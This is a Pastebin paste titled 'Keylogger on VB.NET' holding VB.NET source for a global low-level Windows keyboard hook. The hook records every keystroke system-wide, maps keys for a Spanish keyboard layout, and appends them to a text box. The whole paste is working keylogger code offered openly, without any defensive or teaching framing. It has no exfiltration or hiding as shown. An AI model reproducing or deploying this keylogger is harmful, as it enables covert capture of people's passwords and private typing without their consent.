Advertisement
Guest User

Keylogger on VB.NET

a guest
Jul 4th, 2013
567
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 10.10 KB | None | 0 0
  1. Public WithEvents KeysHook As New KeyboardHook
  2.  
  3. Dim Auto_Backspace_Key As Boolean = True
  4. Dim Auto_Enter_Key As Boolean = True
  5. Dim Auto_Tab_Key As Boolean = True
  6. Dim No_F_Keys As Boolean = False
  7.  
  8. Private Sub KeysHook_KeyDown(ByVal Key As Keys) Handles KeysHook.KeyDown
  9.  
  10.     Select Case Control.ModifierKeys
  11.  
  12.         Case 393216 ' Alt-GR + Key
  13.  
  14.             Select Case Key
  15.                 Case Keys.D1 : Key_Listener("|")
  16.                 Case Keys.D2 : Key_Listener("@")
  17.                 Case Keys.D3 : Key_Listener("#")
  18.                 Case Keys.D4 : Key_Listener("~")
  19.                 Case Keys.D5 : Key_Listener("€")
  20.                 Case Keys.D6 : Key_Listener("¬")
  21.                 Case Keys.E : Key_Listener("€")
  22.                 Case Keys.Oem1 : Key_Listener("[")
  23.                 Case Keys.Oem5 : Key_Listener("\")
  24.                 Case Keys.Oem7 : Key_Listener("{")
  25.                 Case Keys.Oemplus : Key_Listener("]")
  26.                 Case Keys.OemQuestion : Key_Listener("}")
  27.                 Case Else : Key_Listener("")
  28.             End Select
  29.  
  30.         Case 65536 ' LShift/RShift + Key
  31.  
  32.             Select Case Key
  33.                 Case Keys.D0 : Key_Listener("=")
  34.                 Case Keys.D1 : Key_Listener("!")
  35.                 Case Keys.D2 : Key_Listener("""")
  36.                 Case Keys.D3 : Key_Listener("·")
  37.                 Case Keys.D4 : Key_Listener("$")
  38.                 Case Keys.D5 : Key_Listener("%")
  39.                 Case Keys.D6 : Key_Listener("&")
  40.                 Case Keys.D7 : Key_Listener("/")
  41.                 Case Keys.D8 : Key_Listener("(")
  42.                 Case Keys.D9 : Key_Listener(")")
  43.                 Case Keys.Oem1 : Key_Listener("^")
  44.                 Case Keys.Oem5 : Key_Listener("ª")
  45.                 Case Keys.Oem6 : Key_Listener("¿")
  46.                 Case Keys.Oem7 : Key_Listener("¨")
  47.                 Case Keys.OemBackslash : Key_Listener(">")
  48.                 Case Keys.Oemcomma : Key_Listener(";")
  49.                 Case Keys.OemMinus : Key_Listener("_")
  50.                 Case Keys.OemOpenBrackets : Key_Listener("?")
  51.                 Case Keys.OemPeriod : Key_Listener(":")
  52.                 Case Keys.Oemplus : Key_Listener("*")
  53.                 Case Keys.OemQuestion : Key_Listener("Ç")
  54.                 Case Keys.Oemtilde : Key_Listener("Ñ")
  55.                 Case Else : Key_Listener("")
  56.             End Select
  57.  
  58.         Case Else
  59.  
  60.             If Key.ToString.Length = 1 Then ' Single alpha key
  61.  
  62.                 If Control.IsKeyLocked(Keys.CapsLock) Or Control.ModifierKeys = Keys.Shift Then
  63.                     Key_Listener(Key.ToString.ToUpper)
  64.                 Else
  65.                     Key_Listener(Key.ToString.ToLower)
  66.                 End If
  67.  
  68.             Else
  69.  
  70.                 Select Case Key ' Single special key
  71.                     Case Keys.Add : Key_Listener("+")
  72.                     Case Keys.Back : Key_Listener("{BackSpace}")
  73.                     Case Keys.D0 : Key_Listener("0")
  74.                     Case Keys.D1 : Key_Listener("1")
  75.                     Case Keys.D2 : Key_Listener("2")
  76.                     Case Keys.D3 : Key_Listener("3")
  77.                     Case Keys.D4 : Key_Listener("4")
  78.                     Case Keys.D5 : Key_Listener("5")
  79.                     Case Keys.D6 : Key_Listener("6")
  80.                     Case Keys.D7 : Key_Listener("7")
  81.                     Case Keys.D8 : Key_Listener("8")
  82.                     Case Keys.D9 : Key_Listener("9")
  83.                     Case Keys.Decimal : Key_Listener(".")
  84.                     Case Keys.Delete : Key_Listener("{Supr}")
  85.                     Case Keys.Divide : Key_Listener("/")
  86.                     Case Keys.End : Key_Listener("{End}")
  87.                     Case Keys.Enter : Key_Listener("{Enter}")
  88.                     Case Keys.F1 : Key_Listener("{F1}")
  89.                     Case Keys.F10 : Key_Listener("{F10}")
  90.                     Case Keys.F11 : Key_Listener("{F11}")
  91.                     Case Keys.F12 : Key_Listener("{F12}")
  92.                     Case Keys.F2 : Key_Listener("{F2}")
  93.                     Case Keys.F3 : Key_Listener("{F3}")
  94.                     Case Keys.F4 : Key_Listener("{F4}")
  95.                     Case Keys.F5 : Key_Listener("{F5}")
  96.                     Case Keys.F6 : Key_Listener("{F6}")
  97.                     Case Keys.F7 : Key_Listener("{F7}")
  98.                     Case Keys.F8 : Key_Listener("{F8}")
  99.                     Case Keys.F9 : Key_Listener("{F9}")
  100.                     Case Keys.Home : Key_Listener("{Home}")
  101.                     Case Keys.Insert : Key_Listener("{Insert}")
  102.                     Case Keys.Multiply : Key_Listener("*")
  103.                     Case Keys.NumPad0 : Key_Listener("0")
  104.                     Case Keys.NumPad1 : Key_Listener("1")
  105.                     Case Keys.NumPad2 : Key_Listener("2")
  106.                     Case Keys.NumPad3 : Key_Listener("3")
  107.                     Case Keys.NumPad4 : Key_Listener("4")
  108.                     Case Keys.NumPad5 : Key_Listener("5")
  109.                     Case Keys.NumPad6 : Key_Listener("6")
  110.                     Case Keys.NumPad7 : Key_Listener("7")
  111.                     Case Keys.NumPad8 : Key_Listener("8")
  112.                     Case Keys.NumPad9 : Key_Listener("9")
  113.                     Case Keys.Oem1 : Key_Listener("`")
  114.                     Case Keys.Oem5 : Key_Listener("º")
  115.                     Case Keys.Oem6 : Key_Listener("¡")
  116.                     Case Keys.Oem7 : Key_Listener("´")
  117.                     Case Keys.OemBackslash : Key_Listener("<")
  118.                     Case Keys.Oemcomma : Key_Listener(",")
  119.                     Case Keys.OemMinus : Key_Listener(".")
  120.                     Case Keys.OemOpenBrackets : Key_Listener("'")
  121.                     Case Keys.OemPeriod : Key_Listener("-")
  122.                     Case Keys.Oemplus : Key_Listener("+")
  123.                     Case Keys.OemQuestion : Key_Listener("ç")
  124.                     Case Keys.Oemtilde : Key_Listener("ñ")
  125.                     Case Keys.PageDown : Key_Listener("{AvPag}")
  126.                     Case Keys.PageUp : Key_Listener("{RePag}")
  127.                     Case Keys.Space : Key_Listener(" ")
  128.                     Case Keys.Subtract : Key_Listener("-")
  129.                     Case Keys.Tab : Key_Listener("{Tabulation}")
  130.                     Case Else : Key_Listener("")
  131.                 End Select
  132.  
  133.             End If
  134.  
  135.     End Select
  136.  
  137. End Sub
  138.  
  139. Public Sub Key_Listener(ByVal key As String)
  140.  
  141.     If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character
  142.         RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1)
  143.     ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line
  144.         RichTextBox1.Text += ControlChars.NewLine
  145.     ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation
  146.         RichTextBox1.Text += ControlChars.Tab
  147.     ElseIf No_F_Keys AndAlso key.StartsWith("{F") Then ' Ommit F Keys
  148.     Else ' Print the character
  149.         RichTextBox1.Text += key
  150.     End If
  151.  
  152. End Sub
  153.  
  154. 'Hook class:
  155. Imports System.Runtime.InteropServices
  156.  
  157. Public Class KeyboardHook
  158.  
  159.     <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  160.     Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
  161.     End Function
  162.  
  163.     <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  164.     Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  165.     End Function
  166.  
  167.     <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  168.     Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
  169.     End Function
  170.  
  171.     <StructLayout(LayoutKind.Sequential)> _
  172.     Private Structure KBDLLHOOKSTRUCT
  173.         Public vkCode As UInt32
  174.         Public scanCode As UInt32
  175.         Public flags As KBDLLHOOKSTRUCTFlags
  176.         Public time As UInt32
  177.         Public dwExtraInfo As UIntPtr
  178.     End Structure
  179.  
  180.     <Flags()> _
  181.     Private Enum KBDLLHOOKSTRUCTFlags As UInt32
  182.         LLKHF_EXTENDED = &H1
  183.         LLKHF_INJECTED = &H10
  184.         LLKHF_ALTDOWN = &H20
  185.         LLKHF_UP = &H80
  186.     End Enum
  187.  
  188.     Public Shared Event KeyDown(ByVal Key As Keys)
  189.     Public Shared Event KeyUp(ByVal Key As Keys)
  190.  
  191.     Private Const WH_KEYBOARD_LL As Integer = 13
  192.     Private Const HC_ACTION As Integer = 0
  193.     Private Const WM_KEYDOWN = &H100
  194.     Private Const WM_KEYUP = &H101
  195.     Private Const WM_SYSKEYDOWN = &H104
  196.     Private Const WM_SYSKEYUP = &H105
  197.  
  198.     Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  199.  
  200.     Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc)
  201.     Private HHookID As IntPtr = IntPtr.Zero
  202.  
  203.     Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  204.         If (nCode = HC_ACTION) Then
  205.             Dim struct As KBDLLHOOKSTRUCT
  206.             Select Case wParam
  207.                 Case WM_KEYDOWN, WM_SYSKEYDOWN
  208.                     RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
  209.                 Case WM_KEYUP, WM_SYSKEYUP
  210.                     RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
  211.             End Select
  212.         End If
  213.         Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
  214.     End Function
  215.  
  216.     Public Sub New()
  217.         HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  218.         If HHookID = IntPtr.Zero Then
  219.             Throw New Exception("Could not set keyboard hook")
  220.         End If
  221.     End Sub
  222.  
  223.     Protected Overrides Sub Finalize()
  224.         If Not HHookID = IntPtr.Zero Then
  225.             UnhookWindowsHookEx(HHookID)
  226.         End If
  227.         MyBase.Finalize()
  228.     End Sub
  229.  
  230. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement